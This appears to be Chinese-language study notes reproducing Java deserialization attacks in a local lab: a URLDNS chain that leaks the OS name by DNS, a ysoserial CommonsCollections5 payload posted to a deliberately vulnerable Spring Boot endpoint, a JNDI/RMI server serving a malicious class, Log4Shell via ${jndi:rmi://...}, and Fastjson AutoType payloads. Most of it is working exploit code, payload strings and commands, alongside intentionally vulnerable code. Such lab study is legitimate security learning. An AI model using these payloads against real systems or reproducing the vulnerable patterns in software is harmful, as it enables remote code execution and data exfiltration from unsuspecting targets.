Java反序列化漏洞
1.序列化与反序列化概述
序列化(Serialization)是将对象的状态信息转换为可以存储或传输的形式过程。对象转换为字节流,以便可以将其保存到磁盘上或通过网络传输到另一个网络节点。反序列化是将字节流转换为对象
序列化
将对象状态信息 转换为 可以 存储和传输的形势过程
在java中,通常是将对象转换为字节流
对象 的 状态 信息 ---转化为---->可以存储和传输的形式
反序列化
将已序列化的数据恢复为对象
1.1序列化基础概念
为了能够序列化,一个类必须实现java.io.Serializable
接口。这是一个标记接口(没有方法的接口),用于告知JVM该类的对象可以被序列化。
序列化过程涉及使用java.io.ObjectOutputStream
类。它包装了一个底层的OutputStream
,比如FileOutputStream
,用于将序列化的对象数据写入文件或其他类型的流。
序列化 必须实现 java.io.Serializable
1.1.1序列化实现
import sun.plugin2.message.Serializer;
import java.io.*;
public class Serialize_test_1 implements Serializable {
private String name ;
private String sex;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getSex() {
return sex;
}
public void setSex(String sex) {
this.sex = sex;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "Serialize_test_1{" +
"name='" + name + '\'' +
", sex='" + sex + '\'' +
", age=" + age +
'}';
}
public static void main(String[] args) {
Serialize_test_1 st = new Serialize_test_1();
st.setName("张三");
st.setAge(18);
st.setSex("男");
try {
//文件输出流 尝试打开文件
//文件的输出管道
FileOutputStream fot = new FileOutputStream("D:\\JavaProject\\Serialize_demon_1\\a.ser");
//在文件输出的管道基础上构建一个对象输出的管道
ObjectOutputStream oos = new ObjectOutputStream(fot);
//序列化并且写入文件
oos.writeObject(st);
System.out.println("序列化成功~");
} catch (FileNotFoundException e) {
throw new RuntimeException(e);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
1.1.2反序列化实现
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnSerialize_test_2 {
public static void main(String[] args) {
try {
//文件管道
FileInputStream fis = new FileInputStream("D:\\JavaProject\\Serialize_demon_1\\a.ser");
//对象管道
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化 强转类型
Serialize_test_1 st = (Serialize_test_1) ois.readObject();
System.out.println("反序列化成功");
System.out.println(st);
} catch (IOException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}
}
2.HashMap漏洞
2.1HashMap类
// HashMap 天生自带 Serializable 还自带序列化ID 可以被序列化
public class HashMap<K,V> extends AbstractMap<K,V>
implements Map<K,V>, Cloneable, Serializable {
private static final long serialVersionUID = 362498820763181265L;
}
序列化 必须实现 java.io.Serializable 通过HashMap让我们不用实现Serializable接口也能序列化
2.2HashMap序列化
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.util.HashMap;
public class HashMap_Serialize {
//serializeMap方法 传入 HashMap 对象 path
//HashMap类可以序列化,主类不用实现Serializable接口也可以序列化
public void serializeMap(HashMap<String,String> map, String path){
try {
FileOutputStream fos = new FileOutputStream(path);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(map);
System.out.println("序列化完成");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static void main(String[] args) {
HashMap_Serialize hms = new HashMap_Serialize();
HashMap<String, String> map = new HashMap<>();
//put加数据
map.put("name","张三");
map.put("age","18");
hms.serializeMap(map,"D:\\JavaProject\\Serialize_demon_1\\b.ser");
}
}
2.3HashMap反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.HashMap;
public class HashMap_UnSerialize {
//返回类型 HashMap<String,String>
public HashMap<String,String> UnSerializeMap (String path){
try {
FileInputStream fis = new FileInputStream(path);
ObjectInputStream ois = new ObjectInputStream(fis);
//强转类型
HashMap<String,String> map= (HashMap<String,String>)ois.readObject();
System.out.println("反序列化完成");
//return map
return map;
} catch (IOException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}
public static void main(String[] args) {
HashMap_UnSerialize hms = new HashMap_UnSerialize();
HashMap<String,String> map = hms.UnSerializeMap("D:\\JavaProject\\Serialize_demon_1\\b.ser");
System.out.println(map);
}
}
2.4HashMap原理
2.4.1序列化原理
//writeObject方法
private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
//这句话的代码就是序列化的底层逻辑
internalWriteEntries(s); ---->
Node<K,V>[] tab;//设置一个空的Node对象数组
//if就是判断Map里面是不是没有元素
if (size > 0 && (tab = table) != null) {
//遍历Map中的所有元素
for (int i = 0; i < tab.length; ++i) {
//空数组中有元素(冲突),串成链表
for (Node<K,V> e = tab[i]; e != null; e = e.next) {
s.writeObject(e.key);
s.writeObject(e.value);
}
}
}
}
2.4.2反序列化代码
//readObject 方法
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
//最重要的,反序列化能够利用的代码,就是这一句话,在put的时候,
//会触发hash(key)--->key.hashCode();
putVal(hash(key), key, value, false, false);
}
}
}
2.5HashMap漏洞 - URLDNS外带
//最重要的,反序列化能够利用的代码,就是这一句话,在put的时候,
//会触发hash(key)--->key.hashCode();
URL url = new URL("http://dlrb.eiyxxqlgmo.dgrh3.cn");
url.hashCode(); // hashCode 会发起网络请求,可以使用本地的DNSLog
通过调试分析 需要将域名解析为IP地址 类似 nslookup 会进行访问
InetAddress.getByName("DNS地址");
2.5.1触发总结
对HashMap 反序列化 使用 readObject方法 会触发 hash(key)方法 然后会触发 key.hashCode()方法 url.hashcode()会发起网络请求
2.6漏洞复现
2.6.1存在漏洞的代码
//反序列化HashMap
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.HashMap;
public class HashMap_Vulnerability {
//漏洞利用代码
//反序列化 HashMap
public static HashMap<Object, Object> unserializeMap(String path) {
try {
FileInputStream fi = new FileInputStream(path);
ObjectInputStream oss = new ObjectInputStream(fi);
HashMap<Object, Object> map = (HashMap<Object, Object>) oss.readObject();
System.out.println("反序列化完成~");
return map;
} catch (IOException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}
public static void main(String[] args) {
//实战中如果存在漏洞 这里path路径要用户可控 让其反序列化poc
String path = "D:\\JavaProject\\Serialize_demon_1\\c.ser";
unserializeMap(path);
}
}
2.6.2poc构造
关键流程
//序列化HashMap对象
//map.put(url,"Sailboat"); 设置key为url
//URL url = new URL("http://" + 携带数据 + ".DNSip地址");
//hashCode.set(url,-1);
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class HashMap_Serializable_Vulnerability_Poc {
//serializeMap方法 传入 HashMap 对象 path
//HashMap类可以序列化,主类不用实现Serializable接口也可以序列化
public void serializeMap(HashMap<Object,Object> map, String path){
try {
FileOutputStream fos = new FileOutputStream(path);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(map);
System.out.println("序列化完成");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static void main(String[] args) {
try {
//创建对象
HashMap_Serializable_Vulnerability_Poc hms = new HashMap_Serializable_Vulnerability_Poc();
//创建HashMap
HashMap<Object, Object> map = new HashMap<>();
//获得系统名字 replace 替换空格为空
String osName = System.getProperty("os.name").replace(" ", "");
//创建url 并且赋值
URL url = new URL("http://" + osName + ".ipzdumeozi.iyhc.eu.org");
//反射url 属性
//getDeclaredField方法用于获取指定类中声明的一个特定名称的字段,包括私有(private)、受保护(protected)、默认(没有修饰符)和公共(public)的字段。
Field hashCode = url.getClass().getDeclaredField("hashCode");
//授权可以set
hashCode.setAccessible(true);
// poc 生成 序列化的文件 poc 会存在一个问题 hashCode != -1 我们需要使用反射来设置值
//set(对象,值)
hashCode.set(url,-1);
map.put(url,"Sailboat");
hms.serializeMap(map, "D:\\JavaProject\\Serialize_demon_1\\c.ser");
} catch (MalformedURLException e) {
throw new RuntimeException(e);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
}
通过YAKit DNS反连 成功接收到dnsLog携带的数据 复现成功
3.SpringBoot反序列化漏洞(使用CC链攻击)
3.1搭建项目
3.1.1添加依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency
cc-3.1
3.2构建存在漏洞代码
package com.example.demo.demos.web;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import java.io.EOFException;
import java.io.IOException;
import java.io.ObjectInputStream;
@RestController
@RequestMapping("/api/v1/test")
public class TestController {
@GetMapping("/hello")
public String hello() {
return "Hello, Hacker!";
}
@PostMapping("/rmi")
public String rmi(HttpServletRequest request) {
try {
//对象输入管道
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
//反系列化
Object obj = (Object) ois.readObject();
return "结果 " + obj.getClass().getName() + " ok";
} catch (EOFException e) {
return "输入流结束";
} catch (IOException e) {
return "IO流错误";
} catch (ClassNotFoundException e) {
return "类错误";
} catch (NullPointerException e) {
return "请求输入流为空";
}
}
}
3.3漏洞利用
3.3.1利用前提
cc版本3.1
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
HttpServletRequest request
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = (Object) ois.readObject();
3.3.2漏洞复现
1. 使用ysoserial 生成 payload 千万不要使用 终端 一定要使用 cmd
java -jar ysoserial.jar CommonsCollections5 "calc.exe" > poc
CommonsCollections2 => CC2链
CommonsCollections5 => CC5链
CommonsCollections6 => CC6链
2.下载 httpie 向服务器发送请求的模块
python -m pip install --upgrade pip wheel
python -m pip install httpie
3.打poc
http post http://127.0.0.1:8181/api/v1/test/rmi < poc
复现成功
1.生成poc 2.打poc
3.4漏洞解析 - CommonsCollections5
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
//执行“链条”该类的transform会调用transformer使用反射执行命令
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs), // 这里是我们输入的命令 calc.exe
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); // 该类的get接口如果输入的key找不到会调用transform函数触发命令执行
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); // 该类的toString会最终调用lazyMap.get
BadAttributeValueExpException val = new BadAttributeValueExpException(null); // 最终反序列化的类,readObject会调用entry.toString
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return val;
}
最终反序列化的对象为 javax.management.BadAttributeValueExpException ,在该类提供了 readObject 方法,在其中有问题的地方为val = valObj.toString();
,这里的 valObj 为 TiedMapEntry(lazyMap, “foo”) ,该类的toString方法
public String toString() {
return this.getKey() + "=" + this.getValue();
}
其中 this.getValue 为
public Object getValue() {
return this.map.get(this.key);
}
而 this.map 为 lazyMap = LazyMap.decorate(innerMap, transformerChain),在 lazyMap 中
public Object get(Object key) {
if (!super.map.containsKey(key)) { // 当找不到key的时候调用transform
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
//关键实现
return super.map.get(key);
}
}
在其中看到,没有找到key的时候,调用了 this.factory.transform(key)
,而 this.factory为我们构造的包含payload的执行链 transformerChain 该transformer会最终通过反射执行命令。
3.5工具打包
1. 进入项目文件夹
2. 下载相关依赖
mvn install
3. 进行打包操作
mvn package
4. 文件存放
\target目录下
4.JNDI与rmi
RMI(Remote Method Invocation)
RMI是一种Java的远程方法调用机制,全名为远程方法调用
从逻辑上来看,数据是在Client和Server之间横向流动的,但是实际上是从Client到Stub,然后从Skeleton到Server这样纵向流动的。
1、Server端监听一个端口,这个端口是JVM随机选择的;
2.Client端并不知道Server远程对象的通信地址和端口,但是Stub中包含了这些信息,并封装了底层网络操作;
3、Client端可以调用Stub上的方法;
4、Stub连接到Server端监听的通信端口并提交参数;
5、远程Server端上执行具体的方法,并返回结果给Stub;
6、Stub返回执行结果给Client端,从Client看来就好像是Stub在本地执行了这个方法一样;
整个过程中的数据都是以字节序列的方式传递的,也就是最终一定会经过反序列化。
同时JDK提供了一个RMI.Registry包来解决获取对应对象Stub的问题。包中有类可以创建一个RMI注册表服务,这个服务一般开启在1099端口,客户端可以通过与服务器的1099端口进行通信来获得自己想访问的对象的Stub信息。
户端本地必须有远程对象的接口,不然无法指定要调用的方法,而且其全限定名必须与服务器上的对象完全相同。
说的简单一点就是,如果本地需要调用远程点对象,那么本地首先得声明一下这个远程对象以及需要调用的方法,但不需要写对象细节或者方法细节,有个名字就行,或者说写一个接口就行。
那如果我们需要调用一个远程对象,这时候就要使用动态加载类。
JNDI(Java Naming and Directory Interface)
Java 命名和目录接口 (JNDI) 是一种 Java API,它允许 Java 软件客户端通过名称发现和查找数据和对象。JNDI 提供了一个通用接口,用于访问不同的命名和目录服务,例如 LDAP、DNS 和 NIS 提供的服务。JNDI 可用于访问 Java EE 应用程序中的数据库、队列和 EJB(Enterprise JavaBeans)等资源,也可用于通过 RMI(远程方法调用)或 CORBA(通用对象请求代理架构)访问远程对象。
漏洞原理:
JNDI 注入,即当开发者在定义 JNDI
接口初始化时,lookup()
方法的参数可控,攻击者就可以将恶意的 url
传入参数远程加载恶意载荷,造成注入攻击。
利用流程
RMI服务器、远程存放字节码服务器、目标服务器
恶意代码生成
一般恶意代码需要编译成class文件,并放在搭建好的http服务器下
javac -encoding UTF-8 java文件
python -m http.server 8989
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class Shell implements ObjectFactory {
//计算器调用
public Shell() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { //注册表调用
Runtime.getRuntime().exec("regedit");
return null;
}
}
rmi服务器
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
Registry registry = null;
try {
// rmi 2323服务器开启端口
registry = LocateRegistry.createRegistry(2323);
// 参数1 类名 参数2 工厂调用(构造函数) 参数3 远程地址 8989 代码存放地址
Reference reference = new Reference("Shell", "Shell", "http://127.0.0.1:8989/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
System.out.println("rmiServer -> rmi://127.0.0.1:2323/shell");
System.out.println("JNDI -> ${jndi:rmi://127.0.0.1:2323/shell}");
registry.bind("shell",referenceWrapper);
} catch (RemoteException e) {
throw new RuntimeException(e);
} catch (NamingException e) {
throw new RuntimeException(e);
} catch (AlreadyBoundException e) {
throw new RuntimeException(e);
}
}
}
5、Log4j漏洞复现
Log4j 是一个强大的 日志记录 框架,主要用于java程序。 Log4j曾出现过严重的安全漏洞。Log4j2漏洞。这个漏洞的原理是:使用log4j的java API 来记录日志。然而没有对用户输入进行任何过滤或验证。用户输入恶意代码会被记录在日志文件中。log4j的默认配置,允许解析日志中的对象。 攻击者可以构造恶意的日志消息,其中包含一个恶意的Java对象,当log4j尝试解析这个对象时,它将会触发漏洞,导致攻击者能够执行任意代码。
1. maven 构建项目
2. pom.xml 添加依赖
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
存在漏洞代码
public class Log4jVulnerableApp {
public static void main(String[] args) {
// u121, java超过这个版本要设置参数
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
// u221,java超过这个版本要设置参数
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
Logger logger = LogManager.getLogger();
String username = "${jndi:rmi://127.0.0.1:2323/shell}";//当此输入点 用户可控 漏洞存在
logger.error("error: " + username);//执行恶意代码
}
}
运行代码会发现出现两次弹窗,可以尝试Windows反弹RCE
漏洞触发流程
1.攻击者公网服务器开启http服务,允许恶意代码.class被访问
python -m http.server 8989
2.攻击者服务器开启RMI服务器可以在本机,ip指向恶意代码服务器即可
3.目标靶机运行漏洞代码
4.拿下shell
windows 会乱码 chcp 65001 设置解决乱码

拿下靶机
漏洞原理
Log4j漏洞主要是由于其提供的lookup功能下的JndiLookup模块出现问题所导致的。当开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4j请求远程主机上的含有恶意代码的资源并执行其中的代码。这里使用rmi或者ldap差不多。
没有对用户输入进行判断 导致Log4j请求远程主机的恶意代码,并执行。
6.Fastjson
FastJson是阿里巴巴开发的java语言编写的开源Json库,主要用于将java对象转换为JSON字符串,以及将字符串转回java对象。FastJson以其高性能和易用性著称,广泛用户各种java开发场景中。
Fastjson 有一个非常好用的特色功能: AutoType,写作: @type。它本意是能够在反序列化时指定类型,从而方便后续的开发操作。这个过程中,反序列化出来的信息是通过 setXXX 方法写入 @type 指定的类中的。
特性 fastjson 遇见 @ 开头的就会自动加载
构建项目 - 新建
1. maven 构建项目
2. pom.xml 添加依赖
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
程序员的世界(正常使用)
JSON.toJSONString 转换为json字符串
JSON.parseObject
import java.util.HashMap;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class FastJson_Apply {
public static void main(String[] args) {
HashMap<String, String> map = new HashMap<String,String>();
map.put("name","kk");
map.put("age","28");
System.out.println(map);//{name=kk, age=28}
//java -> Json
String jsonStr = JSON.toJSONString(map);
System.out.println(jsonStr);//{"name":"kk","age":"28"}
//Json -> Java
JSONObject jsonObject = JSON.parseObject(jsonStr);
System.out.println(jsonObject.get("name"));//kk 变为对象可以使用方法获取属性
}
fastjson 危险代码
fast json dns 外带
{"@type":"java.net.InetAddress","val":"test.bpykdsdcoq.yutu.eu.org"}
fastjson JdbcRowSetImpl利用链恶意代码执行
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:2323/shell","autoCommit":true}
fastjson TemplatsImpl利用链恶意代码执行 base64版本
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64字符串"],"_name":"asb","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
dns 探测
import com.alibaba.fastjson.JSON;
public class FastJsonVulnerable_Apply_DnsLog {
public static void main(String[] args) {
String payload = "{\"@type\":\"java.net.InetAddress\",\"val\":\"test.hfwtrdfnys.dgrh3.cn\"}";
JSON.parseObject(payload);
}
}
无所谓报错,不影响代码执行
fastjson JdbcRowSetImpl 恶意代码执行
要开启rmi服务器
import com.alibaba.fastjson.JSON;
public class FastJsonVulnerableApp2 {
public static void main(String[] args) {
// u121, java超过这个版本要设置参数
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
// u221,java超过这个版本要设置参数
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
try {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:2323/shell\",\"autoCommit\":true}";
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println("Fastjson Error: " + e.getMessage());
}
}
}
原理:也是反序列化漏洞,会触发lookup进行的反序列化
Fastjson TemplatesImpl 恶意代码执行 base64版本 - 恶意代码
import java.io.IOException;
public class FastJsonPOC extends AbstractTranslet {
public FastJsonPOC() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
将其变成class
javac -encoding UTF-8 .\FastJsonPOC.java
一、
1. `将其变成class`
2. `javac -encoding UTF-8 .\FastJsonPOC.java`
二、Java base64加密 加密class文件
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.util.Base64;
public class Java_base64 {
public static void main(String[] args) {
try {
FileInputStream fileInputStream = new FileInputStream("D:\\JavaProject\\FastJson_Vulnerable\\src\\main\\java\\FastJsonVulnerable_Poc.class");
byte[] buf = new byte[1024];
int readLength = 0;
ByteArrayOutputStream byteBuff = new ByteArrayOutputStream();
while ((readLength = fileInputStream.read(buf)) != -1) {
byteBuff.write(buf, 0, readLength);
}
byte[] classBuf = byteBuff.toByteArray();
String finalStr = new String(Base64.getEncoder().encode(classBuf));
System.out.println(finalStr);
} catch (IOException e) {
e.printStackTrace();
}
}
}
三、fastjson TemplatesImpl 恶意代码执行 base64版本 - 漏洞代码
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class FastJsonVulnerable_Base64_Apply {
public static void main(String[] args) {
try {
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"BASE64编码\"],'_name':'asd','_tfactory':{},\"_outputProperties\":{ }}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
} catch (Exception e) {
System.out.println("Fastjson Error: " + e.getMessage());
}
}
}
漏洞复现成功